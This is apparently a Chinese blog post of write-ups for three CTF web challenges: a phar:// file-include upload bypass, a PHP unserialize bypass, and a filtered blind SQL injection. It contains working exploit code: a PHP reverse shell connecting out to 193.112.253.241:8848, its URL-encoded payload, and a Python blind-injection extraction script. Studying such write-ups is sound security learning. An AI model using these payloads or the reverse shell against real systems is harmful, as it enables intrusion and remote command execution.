Web

0x01:签到题

源码

源码

index.php:

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

upload.php:

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

writeup

进去有一句话:Tips: the parameter is file! :), 意思是这个页面接受一个参数file。

查看网页源代码发现有一句注释 “upload.php”,访问后是一个文件上传的界面。

回去index界面,尝试输入参数file=upload.php,发现报错:

Warning: include(upload.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 15

得知这个参数的值是传给include的,并且会在后面补一个 .php 后缀。

尝试加个%00截断。被waf吃了……

用PHP伪协议读源码,发现可以读到源码。index.php 和 upload.php 的源码在上面。

审计源码发现 upload.php 限制了上传的后缀和content-type,并且过滤了%00之类的截断,所以不可能直接上传包含恶意文件。这里利用了 phar:// 伪协议。

写一个含有PHP木马的文件a.php,打包成压缩包,再重命名为b.jpg,然后上传。成功上传后构造payload如下:

http://174.137.54.82:8080/?file=phar://upload/b.jpg/a

成功Getshell,在根目录下找到flag。

总结

这道题的知识点主要是 phar:// 伪协议。这个伪协议可以访问压缩流,并且和文件的后缀无关。所以可以绕过后缀检测读取恶意文件。

0x02 babyweb

源码:

源码

index.php:

<?php

class BlogLog {
  public $log_ = '/tmp/web_log';    
  public $content = '[access] %s';

  public function __construct($data=null) {
    $temp = $this->init($data);    
    $this->render($temp);
  }

  public function init($data) {
    // No, you can't control an object anymore!
    $format = '/O:\d:/';
    $flag = true;
    $flag = $flag && substr($data, 0, 2) !== 'O:';
    $flag = $flag && (!preg_match($format, $data));    
    if ($flag){
      return unserialize($data);    
    }
    return [];
  }

  public function createLog($filename=null, $content=null) {
      if ($this->log_ != null)
        $filename = $this->log_;
      if ($this->content != null)
        $content = $this->content;
      file_put_contents($filename, $content);    
  }

  public function render($k) {
    echo "Fuck Apeng!!!!!";
    echo sprintf($this->content, $k['name']); 
 }

  public function __destruct() {    
    $this->createLog();
  }
}



$data = "";
if (isset($_GET['data']))
{
  $data = $_GET['data'];
  new BlogLog($data);
}
else
{
  highlight_file(__FILE__); 
}

writeup

这道题上来就给了源码。审计源码发现有 unserialize($data) ,并且这个 data 是我们可控的。于是寻找可利用的危险函数。

createLog 这个函数里面找到了 file_put_contents 这个危险函数,它可以让我们向web目录下写入一个PHP木马。回溯寻找调用链。这个函数是由类的魔术方法 __destruct 调用的,写入的文件名和内容都是类的变量。类在创建的时候会调用反序列化。利用方法已经找到了,剩下的就是绕waf了。

这道题的waf是两个if。第一个if检测了最开始的两个字符,不能是 O: 。这个可以用数组来绕过。第二个if通过正则匹配了 O:(数字) 这样的字符串。这里可以通过在 O: 后面加 + 来绕过。(具体原因见:http://sec-redclub.com/archives/962/)

exp:

<?php

class BlogLog
{
  public $log_ = './s.php';
  public $content = '<?php set_time_limit(0);$ip=\'193.112.253.241\';$port=\'8848\';$fp=@fsockopen($ip,$port,$errno,$errstr);fputs($fp,"\n++++++++++connect success++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);?>';

}

$a = new BlogLog;

$data = [$a];

echo serialize($data);

?>

加上 + 后进行 URL encode 得到payload:

%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%2b%37%3a%22%42%6c%6f%67%4c%6f%67%22%3a%32%3a%7b%73%3a%34%3a%22%6c%6f%67%5f%22%3b%73%3a%37%3a%22%2e%2f%73%2e%70%68%70%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%36%30%3a%22%3c%3f%70%68%70%20%73%65%74%5f%74%69%6d%65%5f%6c%69%6d%69%74%28%30%29%3b%24%69%70%3d%27%31%39%33%2e%31%31%32%2e%32%35%33%2e%32%34%31%27%3b%24%70%6f%72%74%3d%27%38%38%34%38%27%3b%24%66%70%3d%40%66%73%6f%63%6b%6f%70%65%6e%28%24%69%70%2c%24%70%6f%72%74%2c%24%65%72%72%6e%6f%2c%24%65%72%72%73%74%72%29%3b%66%70%75%74%73%28%24%66%70%2c%22%5c%6e%2b%2b%2b%2b%2b%2b%2b%2b%2b%2b%63%6f%6e%6e%65%63%74%20%73%75%63%63%65%73%73%2b%2b%2b%2b%2b%2b%2b%2b%5c%6e%22%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%24%66%70%29%29%7b%66%70%75%74%73%28%24%66%70%2c%22%73%68%65%6c%6c%3a%22%29%3b%24%73%68%65%6c%6c%3d%66%67%65%74%73%28%24%66%70%29%3b%24%6d%65%73%73%61%67%65%3d%60%24%73%68%65%6c%6c%60%3b%66%70%75%74%73%28%24%66%70%2c%24%6d%65%73%73%61%67%65%29%3b%7d%66%63%6c%6f%73%65%28%24%66%70%29%3b%3f%3e%22%3b%7d%7d

打过去后成功Getshell。

总结

这道题算是涨姿势了,之前从来不知道反序列化还可以这么绕过……不过通过这题我算是了解了反序列化的思维方式:通过危险函数回溯来寻找利用链,弄清楚需要控制哪些变量,然后再去考虑绕过waf。

0x03 easyweb revenger

源码

源码

index.php:

<?php
error_reporting(0);
include_once("conn.php");
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $black=['admin','guest','limit','by','lpad','substr','mid','like','or','char','union select','greatest','%00','\'','_',' ','in','<','>','_','\.','\(\)','#','and','substring_index','table_name','desc','if','trim','get_lock','order','substring','database','concat','length','benchmark','where','concat','upper','insert','having','sleep','regexp','load_file','where','update','updatexml','schema'];

  foreach ($black as $value) {
      if(preg_match("/".$value."/i", $str))
          return false;
  }
  return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_REQUEST['id']) || empty($_REQUEST['id'])) {
  die(json_encode(['error' => 'Which one do you wanna vote.I prefer Ashen!']));
}
$id = $_REQUEST['id'];
if (!is_valid($id)) {
  die(json_encode(['error' => 'Try again, Hacker!']));
}

$db = new mysqli($host, $user, $pass, $dbname);
$res = $db->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
  die(json_encode(['error' => 'An error has occurred when voting!']));
}
//print("UPDATE vote SET count = count + 1 WHERE id = ${id}");

echo json_encode(['message' => 'Vote succeed.']);
?>

writeup

打开题目是一个选举的界面。查看网页源代码发现有两行注释:

<!-- flag is in table flag -->
<!-- sources is in ./vote.php?source -->

明显的注入。

访问注释中的路径得到源码。审计源码,基本都过滤完了……

注入点应该是在id那里。简单测试一下,发现只要语句正确投票数就会 +1。这里就存在盲注的漏洞。

看看怎么绕过吧。空格可以用 /**/ 绕过;and 可以用 ^ 来代替;substr之类的可以先left()再right()来代替;ascii()也没有被过滤。这里把schema和table_name给过滤了,所以只能盲猜了。题目给了flag在flag表里面,那就猜测flag表里面有一个flag列,里面就是flag。上脚本试试:

#encoding: utf-8
import requests as r
import string
import re

url0 = "http://123.207.32.26:8001/"
url1 = "http://123.207.32.26:8001/vote.php?id="
characters = string.ascii_letters + string.digits + string.punctuation
max_len = 60
database = ""
num = 0

for i in range(1, max_len):
    next_position = False

    for j in characters:
        payload = url1 + "0^(ascii(right(left((select/**/flag/**/from/**/flag),{0}),1))={1})".format(i, ord(j))

        #print (payload)
        response = r.get(url0)
        num = int(re.findall(r"Aye<br>votes:(\d+)", response.text)[0]) + 1
        #print (num)

        r.get(payload)
        response = r.get(url0)

        check = "Aye<br>votes:{}".format(num)

        if check in response.text:
            database += j
            next_position = True
            break

    num = num + 1

    if next_position == False :
        break

    print (database)

print (database)

脚本跑一通还真就跑出东西来了,这说明猜测是对的。得到flag。

总结

这道题让我Get了一种方法:同时用left和right来代替substr。还有就是最开始那个waf是没有效果的……直接就return true了……那时候我没用ascii()这个函数,注出来的flag全是小写。可能是substr或者是=的问题吧……以后要多注意一下这种细节。

Last modification:June 13th, 2019 at 02:54 pm
If you think my article is useful to you, please feel free to appreciate